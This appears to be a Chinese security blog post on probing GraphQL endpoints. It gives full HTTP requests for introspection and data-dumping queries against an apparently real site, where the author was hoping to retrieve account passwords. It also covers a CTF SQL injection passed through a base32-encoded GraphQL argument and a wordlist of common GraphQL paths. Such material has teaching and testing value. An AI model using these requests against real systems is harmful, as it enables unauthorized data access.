免责声明:
本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。
GraphQL 是一种面向数据的 API 查询风格,GraphQL并没有绑定数据库,交互逻辑是客户端→GraphQL→后端代码→数据。
传统API实现功能一般是一个api对应一个功能,而在GraphQL中,用户请求的url路径固定,只需要改变请求的post内容,无需维护多个api。
看到某个站登录口把配置通过graphql语句查询引入前端,这里就可以执行任意GraphQL语句
那么就有一个想法,GraplQL是否有一个类似mysql那种可以查所有库、表以及列的语句呢?答案是有的
简单来说就是,GraphQL内查机制,通常是内部可用,通过内省的方法获得相关信息,如对象定义、接口参数等信息。一般查询前面带有双下划线的就表示内省的一部分,比如:
·__Schema
·__Type
·__TypeKind
·__Field
·__InputValue
·__EnumValue
·__Directive
·等
这里通过__schema使用自省来发现架构信息
POST /hasura/v1/graphql HTTP/1.1
Host: xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
content-type: application/json
Content-Length: 153
Connection: close
Cookie: userClose=0; clientlanguage=zh_CN
{"query":"n query IntrospectionQuery {n __schema {n n queryType { name }n mutationType { name }n subscriptionType { name }n types {n ...FullTypen }n directives {n namen descriptionn n locationsn args {n ...InputValuen }n }n }n }nn fragment FullType on __Type {n kindn namen descriptionn n fields(includeDeprecated: true) {n namen descriptionn args {n ...InputValuen }n type {n ...TypeRefn }n isDeprecatedn deprecationReasonn }n inputFields {n ...InputValuen }n interfaces {n ...TypeRefn }n enumValues(includeDeprecated: true) {n namen descriptionn isDeprecatedn deprecationReasonn }n possibleTypes {n ...TypeRefn }n }nn fragment InputValue on __InputValue {n namen descriptionn type { ...TypeRef }n defaultValuen n n }nn fragment TypeRef on __Type {n kindn namen ofType {n kindn namen ofType {n kindn namen ofType {n kindn namen ofType {n kindn namen ofType {n kindn namen ofType {n kindn namen ofType {n kindn namen }n }n }n }n }n }n }n }n ","variables":{},"operationName":"IntrospectionQuery"}
然后把拿到的数据贴到https://graphql-kit.com/graphql-voyager/
就会自动生成可视化数据结构
然后通过以下方式进行查询数据
POST /hasura/v1/graphql HTTP/1.1
Host: xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
content-type: application/json
Content-Length: 80
Connection: close
Cookie: userClose=0; clientlanguage=zh_CN
{"operationName":null,"variables":{},"query":"{config_global{keynvaluen}}"}
这里本来想着是否可以通过这种方式把系统的账号密码查询出来,但是发现没有存储账号密码,应该是在其他数据库中
当然GraphQL不止以上攻击面,但是在笔者看来完全取决于后端代码是怎么写的,比如HITCTF2018 BabyQuery
代码 https://github.com/JohnHubcr/HITCTF2018/blob/master/web/BabyQuery/handle_database.py
其中Getscorebyname类存在注入
将传入的参数name经过base32解码后拼接到SQL语句中
因此我们需要指定GraphQL语句传入经过base32加密后的name值,数据包如下:
POST /graphql HTTP/1.1
Host: xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
content-type: application/json
query={getscorebyname(name:"base32加密后的数据"){scorennamen}}
而如果后端api存在字符直接拼接的命令执行,自然其就会存在任意命令执行的问题,而不是像比如MySQL或SQL Server那样直接执行本地命令。
最后是常见的GraphQL路径:
/graphql
/graphiql
/v1/graphql
/v2/graphql
/v3/graphql
/v1/graphiql
/v2/graphiql
/v3/graphiql
/api/graphql
/api/graphiql
/graphql/api
/graphql/console
/console
/playground
/gql
/query
/graphql-devtools
/graphql-explorer
/graphql-playground
/graphql.php
/index.php?graphql
......
后台回复“加群”或“小助手”,或扫描下方二维码加入我们的付费圈子,一起进步吧
原文始发于微信公众号(Lambda小队):一次GraphQL的探索
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论